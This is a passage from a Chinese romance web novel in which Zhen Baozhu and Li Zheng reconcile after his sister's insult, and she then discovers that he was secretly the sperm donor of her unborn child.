“你不能这样对我,他们的死是你造成的,你要一直照顾我,这是你欠我的,你不能拿走我的钱,你不能把属于我的钱花给那个女人,就算你死了,你的钱也是要由我继承的!”朱莉指着黎铮挺拔的脊梁,疯了一般怒吼。 他停住脚步,笑了。 他的妹妹,始终惦记着他的财产,却让他怀着愧疚的心,补偿了她这么多年。 黎铮打开家门,对门外的保镖说:“把这个疯女人赶出我和甄宝珠的家里。” 朱莉扑倒在地,死死抱住他的腿。 “哥哥,哥哥,你别赶我走,我向她道歉,你不要生我的气,请你还像以前一样对我。” 黎铮看着那张熟悉的脸,俯身扶起朱莉,对她抽噎哭泣的脸笑了笑。 朱莉也抹着眼泪笑了笑,“哥哥,我就知道你不会对我狠心的。” 随后他亲手把她交到保镖手里,用无比平稳的声线对保镖说:“赶出去。” 偌大的房子里,只剩下他一个人。 他的背脊紧贴墙壁,平缓地呼吸。 奔跑而来的小狗蹭他的裤脚,他低头,目光落在东倒西歪的蛋糕盒上。 甄宝珠亲手做的丑蛋糕,先摔在地上,后又被朱莉踢了一脚,此时正委屈地斜倒在墙角处。 他俯身捡起蛋糕,拆开凌乱的蝴蝶结,把上面的两个小人扶正,孤独地坐在满桌饭菜前,品尝一口绵密甜软的奶油。 “生日快乐。”他对自己说。 * 甄宝珠开车回了甄家。 一路上,她都理不清头绪。 她不敢相信,歧视黄种人的女人,竟然来自黎铮的家庭。 好烦,脑子快炸了。 她也算是见识到物种的多样性了。 车停在甄家停车场,她迟迟没有下车,想到今天还是黎铮的生日。 他很难过吧,看他当时困惑的神情,他一定一无所知。 她是不是被愤怒冲昏头,说了离婚?甄宝珠伏在方向盘上,长长叹了口气。 手机紧握在手里,她想给黎铮打个电话,拨出键却迟迟无法按出去,她不知道拨通后该和黎铮说什么。 虽然你妹妹不是个东西,但今天还是你生日?这太讽刺了。 她又恍然想到,如果黎铮原谅了他妹妹呢?那毕竟是他的妹妹,他们在一起生活了二十来年。 这样的二选一,与我和你妈同时掉进水里你救谁有什么区别? 她的心开始不安,自己怎么就被气走了呢?她应该留下来和朱莉当面对质,朱莉会不会扭曲事实,黎铮当然是更相信自己的妹妹吧? 天空骤然阴沉,看起来酝酿着一场雨。 她把车熄灭,拖着步子回到甄家,想在姐姐怀里趴会儿,寻求点儿安慰。 她还不是从黎铮那里跑回了姐姐这里,黎铮又怎么可能不相信他的妹妹呢? 如果她犯了大错,姐姐也会原谅她,推己及人,黎铮大概也会原谅他妹妹。 唉, 越想越心烦。 她在走廊碰到戎昱也没搭理,反倒是戎昱主动叫住了她,“宝珠小姐,玉珠小姐正在睡觉。” 甄宝珠瞥眼看过去,立刻就发现戎昱的领上的粉色口红印记,正脾气不顺,她一把揪过他的白T恤领口,指指点点,“死亡芭比粉,你女朋友什么审美?” 戎昱扯了扯领口,挺大个老爷们儿此时脸色通红,目光也躲躲闪闪。 “工作时间衣衫不整,扣钱!”甄宝珠把气撒在他身上。 戎昱抿唇、点头认罚。 甄宝珠白了他一眼,推门进入姐姐的卧室,甄玉珠并没有在睡觉,只是靠在床头看书。 “姐”她扑过去,在床上滚了又滚,要抱着姐姐痛哭一场。 忽然,她止住干嚎,皱紧眉头,使劲盯着甄玉珠唇角没擦完的粉色口红。 第38章 第 38 章 一个被雨淋湿的人。…… “姐”甄宝珠伸出手指在姐姐唇角抹了一下, 盯着指腹的芭比粉色陷入沉思。 “你这口红哪儿来的?” “别人送的。” “谁?”她脱口问出,急急地压着甄玉珠的尾音。 “戎昱。”甄玉珠平静地说,她猜想到甄宝珠心里已经有了答案, 隐瞒也无用,甄宝珠会追问到底。 甄宝珠不敢置信,她一直觉得姐姐凡事为家族考虑, 就算要忍耐柳尚惠那样的人, 也是为了让爸妈放心, 绝不会和戎昱这样的人产生什么不清不楚的关系。 但戎昱是什么样的人呢? 甄宝珠也不了解他, 她只是下意识觉得什么人都配不上姐姐。 “他勾引的你?”甄宝珠问。 “他吸引了我。”甄玉珠说。 甄宝珠猛摇头,在她印象里戎昱除了长得不错,有一身紧实肌肉, 性格方面实在无趣, 话也不多,他到底使了什么手段, 才能勾引到姐姐这样温柔美丽宁静端持的人? 甄宝珠一脸震惊未平, 犹豫问道:“你是因为被柳尚惠伤了心?所以才” 甄玉珠不解, “你为什么这么问?” “你是不是为了报复柳尚惠出轨,所以才故意”甄宝珠握住姐姐的手,痛心疾首。 “为了报复一个男人, 投入另一个男人的怀抱,我很蠢吗?”甄玉珠推了推妹妹的脑袋瓜, “我和戎昱开始的时间应该在柳尚惠出轨之前。” “???!!!” 甄宝珠瞪两大眼睛,有点怀疑自己的耳朵, 完全不知道该说什么。 “所以你是喜欢他?!”她抬高声调。 “嗯。”甄玉珠神闲气静地承认。 她这个人总是淡淡的,承认感情也是温声的,脸上完全没有娇羞之色, 仿佛在说一件家常事。 “”甄宝珠浅浅倒吸口气,“你喜欢他什么?” “他能跟我玩儿到一起。”甄玉珠的脸上开始有了些平淡的笑容。 难以相信,难以相信。 没听说戎昱爱下围棋呀? 甄宝珠瞥眼就看到甄玉珠的香薰烛台,已经燃掉一半,却不见蜡液盘绕,她端起烛台,迟疑了会儿,小声问:“你们玩儿什么?” 甄玉珠面色微红,生硬地转椅话题,“你今天怎么突然回来了,不是和黎铮过生日?” 这会儿甄宝珠已经没有想哭的心思了,她只在乎心地善良的姐姐,不能让她被坏男人骗了,“姐,你等着,我去问问戎昱,看他对你有什么企图?” 甄玉珠拽住她的手,说:“我知道你为我好,但这是我们两个人之间的事,你不要插手。” 甄玉珠很坚定,温柔语气中潜藏不容反驳的威严,很容易就让甄宝珠想到黎铮,觉得黎铮和姐姐有时候挺像的,难怪她总是会心疼黎铮。 一想起黎铮,甄宝珠又垂下头,整个人丧丧的,“黎铮的妹妹” 她把一切前因后果都告诉甄玉珠,还流了两滴窝心的眼泪。 甄玉珠让她依偎在怀里,轻拍她的肩膀抚慰,却不知道该说什么,纵然是甄玉珠这个旁观者,也觉得太复杂了。 甄宝珠缠着手指,委委屈屈地说:“其实设身处地去想,如果你犯了很大的错,我也会原谅你,我做了不可原谅的事,也知道你会原谅我,我们是亲姐妹,他俩也是兄妹。” 几个月的相识怎么能和二十多年的感情比,黎铮只说过喜欢她,但内心深处一定和妹妹感情更好,如果非要让他选,他肯定会抛弃自己。 甄宝珠长吁短叹,郁闷无比。 “要不然,我和黎铮沟通一下。”甄玉珠说。 甄宝珠抿唇,“算了,你跟他联络肯定是兴师问罪,让他自己冷静一下吧,他想好了肯定会找我的。” 她自己心里虚,低声叨咕:“就算是想和我说清楚要一刀两断,也会当面说的。” * 那几天黎铮很忙,但他总是心不在焉,脑海里反覆想起甄宝珠说要和他离婚的事。 他想给甄宝珠打个电话,但很多事情电话里说不明白,他想起甄宝珠当时认真又愤怒的表情,就觉得不想面对。 那是甄宝珠一直耿耿于怀的事,他心里很清楚。 或许,等她冷静下来,会想要找他谈谈,就算是要和他说清楚,也会当面说的。 那几天,他每晚推开家门之前,都想着甄宝珠会不会在家等他,而每每推开那扇门,空荡的、不开灯的房间,总是让他失望叹息。 以往她会四仰八叉躺在沙发或者在客厅练瑜伽,有时候拉他一起练,他也总是板着脸活动活动腿脚。 以往她会把稍息放在婴儿床上摇,支着脸颊,静静看着小狗睡觉,他向她走过去,就能看到稍息的脸上不是涂了腮红,就是画了眉毛。 以往她会在他书房化妆,画完之后坐在他的书椅自拍,还说他的顶光灯角度可以调节,拍照更好看,他会在镜头里留下一个背影,或者一条端着咖啡的手臂。 现在他一个人,吃饭都不香。 凑合吃了晚饭,他本打算去书房看看书,不知不觉就上了楼,停在甄宝珠卧室门口,打开卧室,窗帘还拉开半扇,整个房间都是她的香味。 当晚,他躺在甄宝珠的床上睡觉,抱着甄宝珠的helloKitty,他失眠了。 拿出手机看时间,已经是凌晨两点。他的手机最近晚上都没有关机过,但想接的电话却一直没打进来,他想给甄宝珠打个电话,又估计她已经睡了。 她是不是就这样迁怒于他,以后再也不想理他了?最近她一个电话都没打,是不是还在生气? 深夜,清静得让他讨厌。 * 转天,他顶着黑眼圈去公司,人没睡好,状态也不好,看什么都不对劲儿。 公司秘书处小群里互相通气。 【冰山雪‘黎’又上线了!】 【黑大衣、黑西装、黑领带,出殡套装!】 【危险危险危险!】 【谁惹他了?@关林助理】 关林助理此刻正在他身边,小心翼翼汇报工作,时不时瞟一眼那张冷峻威严的脸。 “黎总,朱莉小姐” “以后我不想听到她的名字。” “黎总,古镇重建项目周一启动,邀请您去参加仪式。” “不去。” “黎总,董事会会议定在下周四,您觉得” “不开。” “黎总,” 黎铮扔下手上的签字笔,眉间一紧,满脸苦大仇深,“离什么离?不会说话就出去。” 晦气,聒噪。 这个黎字不好,听着很烦。 这没来由的怒意让关林不知所措,黎铮棱他一眼,又烦躁地翻了一页文件。 关林抓了抓后颈,“可是,黎” 关林压平翘起的舌尖,暗暗咬舌头。 黎铮头都没抬,“以后叫铮总,别让我听见这个离字。” 关林愣了愣,“甄?” 得,他改姓了。 正事还是要办,黎铮和关林一前一后走出大厦,路上碰到的员工都主动向黎铮打招呼,关林则在他身后挤眉弄眼、拚命摆手。 “黎总好,黎总好,黎总好。” 黎铮绷着脸,冷视每个和他打招呼的人,那目光阴寒无比,让每个人都怀疑自己捅了天大的篓子。 他走出公司上了车,仰靠座椅,深深呼气,世界终于能安静了。 车子发动,司机调出黎铮经常收听的经济频道,车上响起男主播的声音。 “由于当前离婚率的上升,促生出离婚经济这个词语,离婚诉讼、离婚调查、离婚咨询都逐渐成为热门行业,李教授您怎么看?” 黎铮:“……” 关林迅速换台,改成财经频道。 “新高春长公司发布公告称,公司第二大股东与其前妻协议离婚,两人分割股份的消息一出,股价迎来暴跌,股民调侃称其为A股历史上第三支离婚概念股” 黎铮:“……” 关林耳疾手快地关掉车载收音机,贼贼地向后瞥眼,后排挡板缓缓上升,车内的空气如寒潮气流一般。 他仿佛看到黎铮想杀人的眼神。 * 疲惫的一天,疲惫的黎铮。 回到家里,他陷进沙发,捏紧手机在沉沉暮色中走神,直到夜幕掩盖天穹,淅沥的小雨轻敲环幕落地窗。 太黑,太暗。 他能听到雨声,却看不清雨落。 那些色彩跳跃的灯打开,他在迷幻灯光中摩挲无名指的婚戒。 不知何时,稍息从沙发底钻出来,拖着一条小瘸腿费力地从小楼梯爬上沙发,趴在长条沙发另一头,探个小脑袋远远看着黎铮,做贼似的。 即便黎铮总是喂它,但它还是有些怕他,又有点想靠近他。 磨蹭着脚步走近,见他没有动作,就把毛绒绒的小脑袋靠在他大腿上,抬眼看着他,下眼白露出一个小弯月形状,又长叹一口气,看起来特别郁闷幽怨。 黎铮一抬起手,它就翻转肚皮。 手掌轻落在它热乎乎的身体上,顺着绒毛一下一下抚摸。 这个位置是甄宝珠经常坐的位置,她坐在这里不厌其烦地哄狗玩儿,好久了,稍息也习惯了她在的日子。 “你也想她吗?”黎铮问。 稍息没说话,尾巴左右甩动,白毛粘在黎铮的黑色西裤上。 “还挺羡慕你的,看到喜欢的人,只要摇摇尾巴对方就知道。” 永远不用撒谎或揣测。 他摸了摸稍息的瘪肚子,已经无聊到不停和狗对话的地步, “你饿了?” 稍息哼唧一声。 他熟练地喂粮添水,又摸了下稍息的脑袋,“吃吧。” 甄宝珠把它训得很好,埋头吃饭时,有人摸脑袋,也不会护食反咬,他以为它饿了,但它只是懒懒地吃了两口,就回窝里趴下了。 她的狗不吃饭了,这么大的事应该亲口去告诉她,黎铮想。 * 春夜如锦,春雨如丝。 淅淅沥沥要下整晚。 天黑得很纯粹,甄家宅院安安静静。 一阵风吹过,飘摇的竹枝割着路灯零碎的光影,又一阵风吹过,将冷空气送入二楼亮灯的卧室,甄宝珠裹紧羽绒薄被,目光始终盯着莹莹泛光的手机。 黎铮已经三天没联系她了。 她一点儿睡意都没有。 手指在屏幕轻敲,打了一行字,问他是不是要和她离婚,但没发送出去,她觉得态度太强硬,按下删除键。 她想了想,又输入一行字,说她在娘家,问他来不来接她,之后继续删掉,她不甘心低头。 太烦了,干脆把手机扔在床上,她望着房顶的水晶灯发呆。 太想黎铮了,想拥抱宽阔的肩膀,想亲吻柔软的嘴唇,或者只是得到他的只字片语。 她终于下定决心,又捡起手机,打了几个字。 【你还好吗?】 按下发送键,她靠着床头,垂下眼眸,深叹口气,气息沉沉向下,心却又提起来。 她等了会儿,没有回复。 盼着手机亮起的样子看起来很可怜,她不能允许自己一直可怜,内心做好决定,五分钟内黎铮不回复,她以后都不理他了。 等待的时间漫长, 窗外的雨又下个没完。 她揉了揉酸困的眼睛,打算起身拉上窗帘,就看到露天阳台上站着一个被雨淋湿的人。 第39章 第 39 章 采花大盗的德行。 春雨轻轻颤动, 心跳拍打栏杆。 那人站在她的露天阳台,湿风凌乱了头发,细雨浸透了后背, 花灰色西装洇成深灰色调,沉郁的眼神将脆弱的内心暴露无遗,视线凝望柔灯下独自苦恼的公主。 其实雨不大, 只是他在雨中站了太久。 甄宝珠快步走到窗边, 轻颤的手指停在门窗开合处, 她想为黎铮打开那扇门, 但却犹豫。 她欣喜又担忧,忽然预感他进来之后说的话会像冷雨般冰凉,她深深呼气, 局促的呼吸在冷玻璃上结雾。 “这个阳台曾经掉下去过我前男友。”她垂眸, 把头偏向一侧,不想看到黎铮愁郁的眼神, 好像他将要做些对不起她的事, 说些她不爱听的话。 “如果你愿意, 也可以把我推下去。”他热烈的呼吸也在玻璃上结雾。 两团雾气在内外玻璃扩散,叠印、交融。 “说什么傻话,”她打开阳台的玻璃门, 冷风吹进薄纱睡衣,让她打了个冷颤, “快进来,怎么不走门?” 黎铮停在外面, 低头看着皮鞋上的泥印,“我就在这儿跟你说两句话。” “进来说,”她环抱手臂, 委屈嗔怨:“你不冷我冷。” 公主的卧室还像以前一样精致馨香,只是现在两人的气氛却不像从前一般火热,莫名多了些尴尬。 她坐在床边,看着黎铮裤腿和鞋子上的泥印,这大概是她见过他最不体面的时候。 甄宝珠低声埋怨:“大半夜不睡觉,来了也不走门,采花大盗的德行。” “我想见见你,”他说话也别别扭扭的,“太晚了,你姐姐大概不会让人给我开门。” 甄宝珠低头沉默,手指一下下抠进床边的绒被,心也悬着。 黎铮俯身歪头,诚惶诚恐地看着她脸上落寞的表情,甄宝珠把头更低下些,黎铮干脆半跪,自觉保持与她视线相平的姿势。 “对不起,我替朱莉和你道歉。” 甄宝珠摇头,眼泪渗在长睫毛里。 她一点儿都不想听黎铮道歉。 他可以为了妹妹道歉,也可以为了妹妹放弃她。 如果她不想原谅呢? 黎铮是不是就会和她一刀两断? 她等不及黎铮说下一句,又怕他说下一句,始终抿着唇,说不出原谅的话。 “宝珠,”他用冰凉的手紧握住她的手,“以后我只有你了。” 甄宝珠抬头,眼泪像断了线的珍珠,木呆呆看着他。 冰凉的手背为她擦去热泪,黎铮轻声慢语:“我已经决定和朱莉断绝关系,不单单是为了你,但我现在只有你了。” 甄宝珠轻轻眨眼,还没有从震惊中缓过来。 “我想告诉你,我不知道曾经侮辱你的人是朱莉,你说想见我妹妹,我也想让你见我的家人,”他停顿一下,觉得不该再用家人来称呼朱莉,“你知道,我们之间有些矛盾,我担心你们见面之后她会说出让你不开心的话,就先把她安排在酒店,我去和她谈了几次,交换了一些条件,她答应可以来见见你,我没想到会变成这样” 他攥着甄宝珠的手,紧紧的,好像怕她下一秒就不爱听了。 甄宝珠又低下头,木讷地说:“我也没想到” 她想不到黎铮这几天是怎么过的,与亲人断义又是什么样的感觉,这一定很难,对任何一个人来说。 “你很难过吧,”她把手放在他的心口,轻轻抚摸,“这儿。” “嗯。”他点了下头,“有点儿疼。” 甄宝珠沉默,想不出再如何安慰他。 黎铮把逐渐温热的手掌贴近她的肚子,说:“现在看到你,好受点儿了。你呢,你这几天还好吗?” 听到黎铮温柔的关心,她垂下眼眸,心里有片地方皱皱巴巴,“因为有孩子,不敢太难过,你不在身边,确实…不适应。” “跟我回家吧,好吗?让我一直在你身边。”黎铮捧住她的脸,指腹在她的酒窝摩挲。 回家。 甄宝珠的眼泪又要掉下来了。 仅有几秒钟沉默,就足以让黎铮慌乱。 “稍息想你了,它最近都不吃饭了。”他试图用她爱的小狗说服她。 甄宝珠扁着嘴,眼泪哗哗看他,低声问:“那立正呢?立正想我吗?” “立正已经在这儿了。” 他靠近她,手掌按住她的后脑勺抚摸凉丝丝的头发,挺立的鼻梁贴着她的鼻尖,又刮蹭她的脸颊,微张的嘴唇含住她的唇珠,“黎铮每天、每小时、每分钟都想你。” 热切的气息缠绕在她鼻翼,湿凉的身体紧紧抱住她。 她抓紧床单,内心的激荡让她不能稳坐在床上。 “花言巧语,我才不信。”她别过头躲闪。 黎铮的唇边是浅浅的微笑,身上是湿淋淋的雨水,怀里有一颗热切跳动的心脏。 捧住她的脸如同掌上明珠,他不断加深浓情的吻,用似水的柔情涵养这颗宝珠,又觉得太过热烈会显得僭越痴缠。 甄宝珠浅浅咬住他的唇,怪他没早点儿来找她,声音委委屈屈的。 他说对不起,嘴唇轻蹭她的唇瓣,让她感觉痒痒的,腹内的胎儿愉悦地伸出小手,她更感觉痒痒的,像风吹起头发蹭在脸上,羽毛一般拭过肌肤,微小的电流拨动心脏。 于此刻,于甄宝珠。 爱情是一刻无法纾解的轻痒。 贴着黎铮的身体,雨水弄湿了睡裙,她也可以原谅。 定格的时间在缱绻的吻后,又开始流动。 “所以,你们讲好的条件是你要给她买房子?”甄宝珠微肿的嘴唇喃喃细问。 她想起当初游悠拍到他们一起从新售卖的别墅离开。 黎铮眉心微蹙,想了一会儿之后恍悟,从胸前口袋拿出张门禁卡,“生日之前我一直在看房子,想在生日这天送给你一套属于你的房子,我只是带她去那里看了看。” “你过生日,给我送礼物?”甄宝珠偷偷翘起唇角。 黎铮把门禁卡交到她手里,说:“以后我每年过生日,都送你礼物。如果有一天我惹你不开心了但你还想原谅我,你就去那个房子,我会在那做安防系统,你一开门,我就知道你想原谅我。” “那我的生日呢?”她破涕为笑。 “当然也送。”看着甄宝珠的笑容,他也不自觉被牵引着笑笑。 “那我们现在回家吗?”她问。 “今天太晚了,外面还在下雨,明天我来接你,好吗?” 甄宝珠点点头,安心地重新躺在床上,黎铮替她把被角掖好。 "其实,我还给你准备了别的礼物”她小小声说。 黎铮疑惑地“嗯?”了一声。 她伸出手臂,让他俯耳过来,“情趣内衣” 黎铮微愣,又板着脸提醒:“你忘了,现在是孕后期。” “我没忘,让你看,又没让你碰。” “” 看看,也行。 黎铮含蓄地笑,“那我明天早上就来接你。” 她转着眼珠想了会儿,手指在他的衬衫纽扣上打转,说:“我明天还要去一趟医院,魏铭的妈妈病了我得去看看。不如我在家等你晚上回来?” 黎铮垂眸思索片刻,点头说:“好,那我等你睡着了再走。” 黎铮把她的手臂放回被子里,手掌轻抚圆滚的小腹,在她额头印下晚安吻。 * 次日,她和姐姐打了声招呼,甄玉珠为黎铮断绝兄妹关系的做法感到惊讶,但别人的家事,她也不好说什么,只觉得黎铮决断如流,竟然一点都不拖泥带水。 甄宝珠心情大好,早餐都多吃了几口,离开甄家又给魏铭打去电话,打算回家之前先去医院看望魏铭的妈妈。 “阿姨得了什么病?在哪家医院住院?我去看看。” 电话那头沉默了会儿,魏铭躲躲闪闪说:“小病,不用探望。” “啧,你跟我见外什么?” “真的不用,我上手术了,先挂了。” 甄宝珠挠头,看着被挂掉的电话愣神儿,魏铭还是有变化,敢挂她的电话了。 “姑娘,果篮还要吗?”医院门口水果店的老板问她。 “要,多给我放俩苹果。”她说。 市立医院有十几个住院区,甄宝珠楼上楼下挨个儿转,都没找到魏铭的妈妈。 “请问骨外科的魏铭医生在哪儿?”她站在拥挤的导医台问。 “魏医生今天坐门诊,你要挂号吗?”导医问她。 “嗯?他不是有手术吗?” “不啊,刚才还有挂号的。” 甄宝珠捏紧果篮,提了口气,甜甜地微笑道:“给我挂一个吧,谢谢。” 按照挂号单的指引,甄宝珠找到魏铭坐诊的科室,还没进去,就看到诊室里人满为患,她探着身子只能看到一个穿白衣的肩膀。 站在他面前的男人双手叉腰,语气生硬,嗓门大得像给声带安了个喇叭:“你们医院真黑,我儿子就是和同学玩儿不小心摔了一跤,人家其他地方都不用拍片子,怎么到你这儿就得拍?是不是想多收钱?” “查体之后怀疑骨折,让你拍X光片确诊,我已经跟你解释过一遍了。” 魏铭虽然语气温和,但甄宝珠能听出来他现在肯定眉头紧皱,可能还用力抠着圆珠笔握的硅胶。 “你什么态度?现在的医生没有仪器看不了病!以前不用拍片骨头不是照样接!”男人抬高声调,周围群众都侧目看着。 甄宝珠往前挤了挤,就看到那男人举着手机,把摄像头对准魏铭,其他人也偷偷举起手机。 “我是西医,你让我看,就要用X光确诊,你不信任我,可以找别的医生看。”他放下手里的圆珠笔,声线依然温柔,却也疲惫。 那男人一拍桌子,大骂道:“我一上午挂号等着,你说不看就不看了?你妈的” 话没骂完,他就被身后的孕妇抓住后脖领子,手机也失手掉在地上,那孕妇还把他的手机踢了一脚。 “起开!”甄宝珠挺着孕肚,“撞到我你能负责吗?” 男人回头上下打量,这个年轻孕妇一身富贵气,穿着打扮都是名牌,皱着眉头的嚣张样子看起来就不好惹,气势当场怂了三分。 甄宝珠抱着手臂睥睨,扬声冲他喊:“医闹啊?你要看就看,不看退号,在这儿吵吵什么,看医生好欺负是吧?” “你、你算干嘛的?”男人捡起手机,“你把我手机摔坏了。” “我碰你手机了吗?”她白了一眼,扬起手上的挂号单,“我干嘛?我看病!你在这儿纠缠医生,浪费的是我的时间,你想看中医就去找中医,别在这儿磨磨唧唧。” 她也装了一把热心群众,转头对其他看热闹不嫌事儿大的病患说:“你们不看病啊?就让他在这儿浪费大家伙儿的时间?” 这时,大家才都想起来自己是来看病的。 “是啊,你要不看就走,我们还要看呢。” “就是,谁骨折不拍片子。” “纯粹无理取闹,孩子都哭成什么样了,还心疼钱。” 男人臊得脸通红,指着魏铭说:“我不看了,我投诉你。” “你要不要脸,群众的眼睛雪亮雪亮的,你投诉谁?!”甄宝珠扬手指着他的鼻子骂。 魏铭一看甄宝珠这表情,怕她又要上手打人,赶忙站起身,挡在甄宝珠和男人中间,“院长办公室在五楼,请你去投诉吧,旁边还有一个诊室,你可以找别人看病,你的挂号费我退给你。” 他把甄宝珠扯到自己身后,拉开办公桌抽屉,从一堆散乱的零钱里拿出一张二十元,递给那个男人,却被甄宝珠一把夺过。 “魏大夫,你给他退钱干嘛?医闹就是被你这样息事宁人的态度给惯得,怂得要命,今天群众给你做主,你们都拍下来了吧,是他无理取闹,这钱要退也不是你给他退,你们说对不对?” 甄宝珠的激情演说也得到群众热烈的回应。 “对,我们都拍下来了,”群众团结起来了,“你不看病就赶紧走吧,把保安叫来给他赶出去。” 男人的妻子扯着他的衣服,对魏铭连连道歉,拖家带口离开了诊室。 甄宝珠托着孕肚,目送他们离开千里之外,魏铭把自己的椅子拉出来让她坐在一边。 旁边有个老太太拍甄宝珠肩膀,对她竖起大拇指,“闺女,你还怪勇敢的,挺这么大肚子还敢跟人吵架。” 甄宝珠提了提自己的托腹带,笑道:“魏大夫那是人民的好医生,咱不能让大夫寒心不是?” “别贫嘴了,”魏铭伸手问甄宝珠要钱,“你等我会儿,快下班了。” 甄宝珠把二十元纸币狠拍在他手心,在旁边念叨他,“小气鬼,怂里怂气的,抽屉里装那么多零钱,是不是都给这种人退了?” 魏铭没答话,把零钱扔进抽屉里,继续站着给别的患者看病。 下班之后他换下白衣,和甄宝珠一起下楼,坐电梯时他伸手想替她拿手里的果篮,她一躲身又抛来记冷眼。 “你来找我干什么?”他收回手,悻悻道:“视察工作?” 电梯人多,甄宝珠也一副爱答不理的样子。 走到职工停车场,甄宝珠才开口:“魏铭,我问你,你妈在哪儿住院?” “”魏铭躲闪目光,语气略显理亏:“我妈在三亚旅游。” 甄宝珠怔忪片刻之后,呵笑一声。 “来,你拿着。”她把果篮递给魏铭,让他好好抱着。 魏铭刚把果篮抱在怀里,拳头就硬邦邦落在他肩膀,让他躲无可躲。 甄宝珠边捶边骂:“你知道我楼上楼下跑了多久吗?你现在也敢骗我了,还敢拿你妈骗我!” 下班路过的医生护士都在偷偷看他们,眼中燃烧熊熊的八卦之火。 魏铭挺高的个子,被打得像个孙子,他低眉顺眼,小声说:“给我留点脸行吗?” 甄宝珠恶狠狠瞪他一眼,头发一甩就在前面先走,“送我回家!” 魏铭追在她身后,说:“那这果篮” 她停住脚步,双手抱臂,扬起脸藐视他,“怎么,你还想吃啊?” “消消气,”魏铭只能顺毛捋,“你吃,你吃。” 甄宝珠一拉车门就上车坐在副驾驶,魏铭提着果篮紧随其后。 “等会儿,给我拿个苹果。”甄宝珠想吃。 魏铭也很听话,拆开果篮挑了个最大的,才把果篮放到后排座位。 魏铭开车很慢很稳,甄宝珠坐在副驾驶昏昏欲睡。 “你回甄家?”魏铭问。 “不,我回思懿庄园。”她说。 魏铭偏过眼神看看她,抿起嘴唇,安静了会儿。 “不是吵架了吗?”他试探。 甄宝珠睨他一眼,“消息还挺灵通,不过,我们已经和好了。” 魏铭没说什么,车速却更慢了。 “魏铭,”甄宝珠拍了拍自己的肚子,又叹口气,“你能回国我其实也挺开心的,但是你也应该把注意力放在别的地方了。” 她不知道该怎么和魏铭谈,在国外魏铭一直照顾她,她也很看重魏铭的人品,拿真心交这个朋友,纵然不可能发生爱情,她也不希望失去好朋友。 “你来找我就是为了跟我说这个?”无框眼镜后是魏铭落寞的目光。 “我为了探望你妈!”她抬高声调又落下,假装随意道:“也想和你说这个,我和黎铮,我俩挺好,我喜欢他,他在我心里是独一份儿,我了解他,也心疼他,我想为他付出,不是单单只想索取,我也不想让谁来破坏我们之间的感情。” 魏铭握着方向盘,敲了敲手指,唇边泛起一丝不屑的冷笑。 她了解他,了解多少? 他又是怎么骗她付出的? “说点儿别的吧,不想听。” 魏铭对周围人一直都友善温和,属于老好人类型,但面对甄宝珠,他总有自己的执着和倔劲儿,哪怕他的忤逆可能会再挨打,也不愿意再听下去。 车一直往思懿庄园的方向开,甄宝珠也没再说什么,气氛忽然变得很尴尬。 甄宝珠拿着苹果,伸手够了够脚边的包,安全带和孕肚让她无法弯腰,她放弃了,转头问魏铭:“车上有没有湿巾?” 魏铭一门心思开车,随口说:“储物箱里。” 她刚打开面前的储物箱,车子突然急刹,她的身子往前冲了一下,手里的苹果也砸在中控屏上。 被安全带勒了一下,甄宝珠下意识捂住肚子,缓缓侧头,怒斥一声:“你想杀我啊?!” 魏铭喉结滚了滚,余光望向半开的储物箱,“对不起,你没事吧?” “没事儿,”她又拿起苹果,忍不住发飙:“有事你就完蛋了!” “我给你找湿巾。”他打开中央扶手箱,手脚忙乱翻来找去。 “不用找了,不就在这儿嘛。”她探出湿巾,目光定格在储物箱里的档案袋。 上面写着她的名字。 “这是什么?”甄宝珠好奇地拿出档案袋。 魏铭伸手去夺,却被她狠狠拍开手,“给我好好开车!” “你别看”魏铭单手打方向盘,把车急停在路边。 甄宝珠已经动手打开档案袋,文件抬头有精子银行的标识。 那张蓝底证件照映入眼帘。 第40章 第 40 章 我恨你、我爱你。 黎铮回家之前特意去了一趟花店, 他在那里挑选很久,最后买了一束白山茶花,他选择山茶花, 是因为经常看到甄宝珠穿香奈儿的套装,深以为她喜欢。 花店老板说山茶花的花语是【理想的爱】。 黎铮为之动容,回想最初与甄宝珠相识, 那时的他从未想过有一天甄宝珠会代表他对爱情的理想。 回家的路上, 黎铮想到从来没有问过甄宝珠喜欢什么花, 什么品牌, 什么样的礼物。 回去之后他要好好问问。 他想。 这一路,他都把花捧在手里,望着纯白的花瓣, 心里砰砰直跳。 紧张、期盼。 局促, 欣愉。 也许这就是人们甘愿沉溺其中的、热恋的感觉。 那个孤独的房子,从此以后都会开一盏热情的灯, 家里的人和那只瘸腿的小狗都会等他回家。 他嗅着淡淡花香, 唇边蕴着含蓄笑意。 可当他回到家, 推开那扇门。 那盏热情的灯没有打开。 稍息也没有跑出来迎接他。 甄宝珠在沙发尾端坐着发呆,身上披着一层冷清月色,看起来无比落寞。 她双手放在膝上, 缩着肩膀,一截白净脖颈随着低下的头而弯曲, 发鬓的碎发在莹莹月光下遮挡着脸上的表情。 灯一开,她眯了眯眼, 缓缓望向他。 像在看一个不认识的陌生人。 黎铮心口一沉,缓步走向甄宝珠,余光望见茶几上的档案袋。 “别过来。”她的声音很脆弱, 语气却坚定。 她拿起档案袋,手指微微抖动,拆出一张表格,低头轻声念:“黎铮,中国裔,移民二代,身高858厘米,宾夕法尼亚大学商学院在读” 她举起那张蓝底证件照,和眼前一手握鲜花,一手攥紧拳的男人对比。 时间、经历会改变一个人的长相和气质,那时他是穿廉价衬衫的生涩大学生,现在他身着定制西装,气质矜贵从容,但那双眉眼细处还是能看出相似,那张柔情嘴唇昨夜吻过她。 指尖嵌入照片的尖角,锋利的棱角让她感觉好疼。 “宝珠” 他往前几步,把花随手扔在茶几上。 望着那张过分平静的脸,他却无法再说出任何辩解的话,只能紧握住她冰凉的手。 甄宝珠抽回手,轻轻呼气,让气息保持平稳,“你坐下,我们谈谈。” 沙发扶手隔着两个人,仅仅几十厘米的距离,他却觉得像隔了天堑。 “这个人,是你吗?” “是我。” “你早就知道我怀的是你的孩子?”甄宝珠问。 “”黎铮沉默片刻,点了下头。 “早在我们认识之前?”她的声音很轻,仿佛没有力气。 “”黎铮深深皱眉,点头。 甄宝珠突然暴怒,抓起档案袋狠砸在他的脸上,“说话!” 他的脸颊被档案袋的尖角划破,脸侧迅速渗出一道血痕,但他觉得脸上的疼不算什么。 黎铮不敢看她的眼睛,目光始终定在隆起的腹部,他声音低哑:“是,我早就知道,宝珠,你别激动。” 她浑身微微发抖,目光怔怔,自言自语:“所以,你是带着目的接近我,你想干什么?” “我想和你在一起,我们以后可以一起抚养这个孩子。”黎铮起身靠近她。 